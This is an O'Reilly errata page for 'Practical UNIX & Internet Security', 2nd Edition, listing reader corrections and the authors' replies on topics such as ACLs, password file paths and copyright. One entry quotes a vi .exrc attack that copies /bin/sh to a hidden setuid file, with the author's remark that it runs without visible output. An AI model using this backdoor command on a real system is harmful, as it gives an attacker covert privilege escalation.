Practical UNIX & Internet Security, 2nd Edition by Simson Garfinkel and Gene Spafford Unconfirmed error reports are from readers. They have not yet been approved or disproved by the author or editor and represent solely the opinion of the reader. If you have any technical questions or error reports, you can send them to booktech@oreilly.com. (Please specify the printing date of your copy.) This page was updated December 5, 2001. Here's the key to the markup: [page-number]: serious technical mistake {page-number}: minor technical mistake : important language/formatting problem (page-number): language change or minor formatting problem ?page-number?: reader question or request for clarification UNCONFIRMED errors and suggestions from readers: (62) 3rd paragraph; Instead of trying every combination of letters, starting with AAAAAA (or whatever), crackers use hit lists of common passwords such as wizard or demo. In the book, only the 'ard' of 'wizard' is in italics. Seems like the whole word should be in italics ******* The following is a list of errata submitted by readers, to which the authors offer an explanation as to why these changes will not be made. ******* (1) Cover picture of the safe: The number 7 on the face of the safe is backwards. Just curious if there is a reason for it. Author response: The error is intentional, and is in the original wood cut. {40} Section: The Problem with Security Through Obscurity; I just wanted to point out a minor gaff in this otherwise very solid book. I believe it is a technical error to relate the "need to know" principle with the concept of "security through obscurity" (STO). Need-to-know is actually a policy element that has the purpose of limiting access to information to a set of users that have a valid purpose for access. STO, on the other hand, is a security *mechanism* whose strength depends on the secrecy about the *mechanism* itself. I think there are many valid examples to demonstrate this mechanism and its weaknesses. For instance, hiding a key under a doormat is a very good analogy. But I think relating STO to need-to-know will confuse the reader's understanding of the latter. Author response: The reader's objection is noted. No changes in the text are warranted; I do not agree with the reader's interperation. [111] Last paragraph; If the "first applicable entry is used" and user harvey is a member of either the chem or phys group, then the entries applying to the chem or phys will match. Therefore, user harvey will NOT be given write access to file silver. Author response: The description at the bottom of page 111 is correct. "Entries within an HP-UX access control list are examined in order of decreasing specificity: entries with a specific user and group are considered first; those with only a specific user follow; ones with only a specific group are next; and the other entires are last of all.." Harvey is specifically granted write access to silver. Even though Harvey is in a group that is denied write access, Harvey is specifically granted group access, and therefore he will have it. <226> The third sentence in the "Note" now reads: "On some systems, the file to check may be /etc/shadow or /etc/secure/passwd." "/etc/secure/" may be used on a system I haven't seen, but they may have meant "/etc/security/." If the authors did not mean /etc/security/, it also should be mentioned there. Author response: I have seen /etc/secure/passwd, /etc/security/passwd, /etc/master.passwd, and more. Please leave the text as it is. {231} The section "How to set up a restricted account with rsh," between the directory example, in the third row, reads: '/usr/rshhome' This and all code examples in the same page are missing a slash (/) and should read: 'usr/rsh/home' Author response: We intended the directory to be named /usr/rshhome and that is used consistently in the example. That is the directory name I created on my machine when I did the example. [233] Putting * in /etc/passwd doesn't have the advertised effect. Author response: Since I do not have access to a SVR4 system at the present time, I am not able to verify the reader's message. However, since SVR4 is fairly rare at this point, my suggestion would be to leave the text as is. [277] In the fourth paragraph and the footnote, it states that the physical copy of media you receive when purchasing software is the only copy you get, and making backups of that media is not permitted under copyright law. U.S. copyright law (more specifically, the Berne convention) allows licensed users of commercial software to make copies of the software media for backup purposes. I just hate to think others might forgo burning a quick CD to keep as an offsite backup, and potentially save themselves much trouble in a disaster, due to a misunderstanding. Author response: I consulted a lawyer friend on this. The user is allowed (1) archival copy of software under Berne unless specifically licensed>otherwise. Thus, after installing on your system, the installation media becomes the (1) archival copy and no other copies are technically allowed. To my knowledge, no one has ever been prosecuted for making more copies, but the law is not written to support multiple backups. (347) Near the bottom of the page in bold type, the attackers .exrc script now reads: cat > .exrc !(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)& ^D However, there should be a colon at the beginning of this line. It should read: cat > .exrc :!(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)& ^D This is true of the Sun Solaris 2.5 O/S; I don't know about others. Author response: No, on my machines it works without the : If the : is added, there is output to the user that may present a clue that it happened. Without the : it still works, but there is no output to show that. This works in every vi that I have tried (quite a few!). {463} 1st paragraph below figure 16-5, the second sentence reads: "Nevertheless, these are all...and the server moves each connection to a separate, higher-numbered port." This is incorrect. The port number on the server remains the same. The socket will be unique because it includes the combination of client port, client address, server port and server address which is unique. Author response: No, the rlogin/rsh daemon moves the connection to a higher numbered port after the connection occurs. In general, it is correct that the other information is unique, but the description is about how that particular daemon behaved. I was reviewing Appendix B of "Practical UNIX & Internet Security" to see if I missed anything in defining my Tripwire scans (and of course I got a couple good ideas ;)), when I found what I find to be a couple glaring ommissions: /etc/defaults/, /etc/shadow, and /etc/security/ were mentioned but HP's /tcb/ was not, and it provides a similar functionality(C2). It was probably just becuase so few people used it in 1995,1996. But, I really think it should be in the next edition, and I wanted to make sure of that. Author response: The objection is noted, but I doubt there will be a next edition of this book.